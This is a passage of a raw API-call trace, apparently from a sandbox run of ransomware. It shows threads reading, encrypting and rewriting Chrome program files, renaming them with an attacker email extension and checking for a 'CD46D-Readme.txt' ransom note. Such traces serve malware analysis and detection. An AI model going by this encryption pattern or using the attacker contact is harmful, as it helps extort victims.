BaseAddress=0x4349e8) returned 1 [0058.488] NtQueryInformationFile (in: FileHandle=0x968, IoStatusBlock=0x770fe98, FileInformation=0x770fe70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x770fe98, FileInformation=0x770fe70) returned 0x0 [0058.488] NtSetInformationFile (FileHandle=0x968, IoStatusBlock=0x770fe98, FileInformation=0x770fe70, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0058.515] FlushFileBuffers (hFile=0x968) returned 1 [0062.193] CloseHandle (hObject=0x968) returned 1 [0062.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442d00 [0062.630] wcscpy (in: _Dest=0x442d00, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0062.630] wcscat (in: _Dest=0x442d00, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" [0062.630] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\cd46d-readme.txt")) returned 0x20 [0062.631] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0062.631] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef930) returned 1 Thread: id = 484 os_tid = 0xe80 [0049.282] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.exe.sig")) returned 0x20 [0049.282] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig", dwFileAttributes=0x20) returned 1 [0056.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.exe.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0056.185] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0xb71feac | out: lpFileSize=0xb71feac*=1407) returned 1 [0056.185] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.185] ReadFile (in: hFile=0x96c, lpBuffer=0xb71fe30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb71fe2c, lpOverlapped=0x0 | out: lpBuffer=0xb71fe30*, lpNumberOfBytesRead=0xb71fe2c*=0x4, lpOverlapped=0x0) returned 1 [0056.203] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0150 [0056.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d00d8 [0056.203] NtQuerySystemTime (in: CurrentTime=0xb71fe0c | out: CurrentTime=0xb71fe0c*=132174898201836000) returned 0x0 [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x6eecaa3b [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x5f5e1431 [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x335c078e [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x6fb1a062 [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x7bad40f5 [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x75fd6ede [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x466a1fc4 [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x6bc88f2b [0056.203] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x15639589 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x7b9ad2d5 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x15187191 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x6aa31918 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x2e4749c6 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x766bc769 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x60eba6b2 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x3fbc3f34 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x79a7fdfd [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x2e4749c6 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x7ea7ff75 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x2f5cea37 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x777393f7 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x4b19ed5f [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x331192f1 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x2582b8d0 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0xc325372 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x26eabe8f [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x2010ab01 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x59189ba [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x4e6a8fe7 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x37cefb74 [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x6932078f [0056.204] RtlRandomEx (in: Seed=0xb71fe18 | out: Seed=0xb71fe18) returned 0x2349051c [0056.216] ReadFile (in: hFile=0x96c, lpBuffer=0x971f918, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0xb71fe08, lpOverlapped=0x0 | out: lpBuffer=0x971f918*, lpNumberOfBytesRead=0xb71fe08*=0x57f, lpOverlapped=0x0) returned 1 [0056.217] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.217] WriteFile (in: hFile=0x96c, lpBuffer=0x972c120*, nNumberOfBytesToWrite=0x57f, lpNumberOfBytesWritten=0xb71fe04, lpOverlapped=0x0 | out: lpBuffer=0x972c120*, lpNumberOfBytesWritten=0xb71fe04*=0x57f, lpOverlapped=0x0) returned 1 [0057.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428aa0 [0057.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a78 [0057.736] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a78) returned 1 [0057.736] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972c120) returned 1 [0057.736] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x971f918) returned 1 [0057.736] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0057.736] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0057.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40aa68 [0057.736] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.736] WriteFile (in: hFile=0x96c, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0xb71fe6c, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xb71fe6c*=0x10d, lpOverlapped=0x0) returned 1 [0058.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0058.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0058.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a78) returned 1 [0058.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 [0058.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428aa0) returned 1 [0058.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0150) returned 1 [0058.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0088) returned 1 [0058.446] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0060) returned 1 [0058.446] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x424230 [0058.446] wcscpy (in: _Dest=0x424230, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" [0058.446] wcscat (in: _Dest=0x424230, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig.mailto[2Hamlampampom@cock.li].cd46d" [0058.446] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb71fe24, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.446] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xfa) returned 0x12f4b4e0 [0058.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b4e0) returned 1 [0058.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x434e38) returned 1 [0058.521] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0xb71fe30, FileInformation=0xb71fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb71fe30, FileInformation=0xb71fe08) returned 0x0 [0058.521] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0xb71fe30, FileInformation=0xb71fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0058.522] FlushFileBuffers (hFile=0x96c) returned 1 [0062.193] CloseHandle (hObject=0x96c) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442d00 [0062.632] wcscpy (in: _Dest=0x442d00, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0062.632] wcscat (in: _Dest=0x442d00, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" [0062.633] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\cd46d-readme.txt")) returned 0x20 [0062.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0062.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef9d8) returned 1 Thread: id = 485 os_tid = 0xe84 [0049.282] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak")) returned 0x20 [0049.283] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak", dwFileAttributes=0x20) returned 1 [0056.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0056.186] GetFileSizeEx (in: hFile=0x970, lpFileSize=0xa74fb50 | out: lpFileSize=0xa74fb50*=455756) returned 1 [0056.186] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x6f448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.186] ReadFile (in: hFile=0x970, lpBuffer=0xa74fad4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa74fad0, lpOverlapped=0x0 | out: lpBuffer=0xa74fad4*, lpNumberOfBytesRead=0xa74fad0*=0x4, lpOverlapped=0x0) returned 1 [0056.217] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d00d8 [0056.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0056.217] NtQuerySystemTime (in: CurrentTime=0xa74fab0 | out: CurrentTime=0xa74fab0*=132174898201992000) returned 0x0 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x789d7963 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x2c6bfa51 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x4dd16e78 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x7d0fd4a0 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x4dab9ece [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x21f64359 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x1ccc0019 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x67db1a [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x71da38e7 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0xcd070f6 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x335c078e [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x2768369b [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x43854211 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x3efccfd1 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x1e5038be [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x40a15a88 [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x31cc5ae [0056.217] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x382d4f0b [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x4437eb43 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x48091fb8 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x11ac9063 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x4c9f5550 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x18300978 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x7463b49 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x6e1aec08 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x4b42196b [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x655e5432 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x488b9f6d [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x36856dfa [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x8bd8c97 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x291037c2 [0056.218] RtlRandomEx (in: Seed=0xa74fabc | out: Seed=0xa74fabc) returned 0x1fbe69e8 [0056.229] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.229] ReadFile (in: hFile=0x970, lpBuffer=0x9738928, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa74fa68, lpOverlapped=0x0 | out: lpBuffer=0x9738928*, lpNumberOfBytesRead=0xa74fa68*=0xc800, lpOverlapped=0x0) returned 1 [0056.291] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0056.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0056.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294f8 [0056.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294f8) returned 1 [0056.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ddd830 [0056.293] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294f8 [0056.293] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0056.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429520) returned 1 [0056.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0056.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0056.294] WriteFile (in: hFile=0x970, lpBuffer=0x12ddd830*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa74fa68, lpOverlapped=0x0 | out: lpBuffer=0x12ddd830*, lpNumberOfBytesWritten=0xa74fa68*=0xc800, lpOverlapped=0x0) returned 1 [0057.738] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ddd830) returned 1 [0057.738] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.738] ReadFile (in: hFile=0x970, lpBuffer=0x9738928, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa74fa68, lpOverlapped=0x0 | out: lpBuffer=0x9738928*, lpNumberOfBytesRead=0xa74fa68*=0xc800, lpOverlapped=0x0) returned 1 [0057.739] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0057.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437940 [0057.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289d8 [0057.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289d8) returned 1 [0057.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ddd830 [0057.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289d8 [0057.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289b0 [0057.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289b0) returned 1 [0057.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0057.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0057.741] WriteFile (in: hFile=0x970, lpBuffer=0x12ddd830*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa74fa68, lpOverlapped=0x0 | out: lpBuffer=0x12ddd830*, lpNumberOfBytesWritten=0xa74fa68*=0xc800, lpOverlapped=0x0) returned 1 [0059.233] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ddd830) returned 1 [0059.233] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x62c4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.233] ReadFile (in: hFile=0x970, lpBuffer=0x9738928, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa74fa68, lpOverlapped=0x0 | out: lpBuffer=0x9738928*, lpNumberOfBytesRead=0xa74fa68*=0xc800, lpOverlapped=0x0) returned 1 [0059.234] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x62c4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419d70 [0059.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419d70) returned 1 [0059.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d22970 [0059.236] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419d70 [0059.236] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b40 [0059.236] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b40) returned 1 [0059.236] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.236] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.236] WriteFile (in: hFile=0x970, lpBuffer=0x12d22970*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa74fa68, lpOverlapped=0x0 | out: lpBuffer=0x12d22970*, lpNumberOfBytesWritten=0xa74fa68*=0xc800, lpOverlapped=0x0) returned 1 [0062.325] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d22970) returned 1 [0062.325] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d9a0 [0062.325] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.326] WriteFile (in: hFile=0x970, lpBuffer=0x12e2ba00*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0xa74fb10, lpOverlapped=0x0 | out: lpBuffer=0x12e2ba00*, lpNumberOfBytesWritten=0xa74fb10*=0x15d, lpOverlapped=0x0) returned 1 [0062.739] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2ba00) returned 1 [0063.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0063.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294f8) returned 1 [0063.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0063.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d9a0) returned 1 [0063.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d00d8) returned 1 [0063.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429430) returned 1 [0063.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429390) returned 1 [0063.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf4) returned 0x41c0b8 [0063.338] wcscpy (in: _Dest=0x41c0b8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" [0063.338] wcscat (in: _Dest=0x41c0b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak.mailto[2Hamlampampom@cock.li].cd46d" [0063.338] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa74fac8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x10a) returned 0x12d7c508 [0063.340] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0063.340] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.340] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0xa74fad4, FileInformation=0xa74faac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa74fad4, FileInformation=0xa74faac) returned 0x0 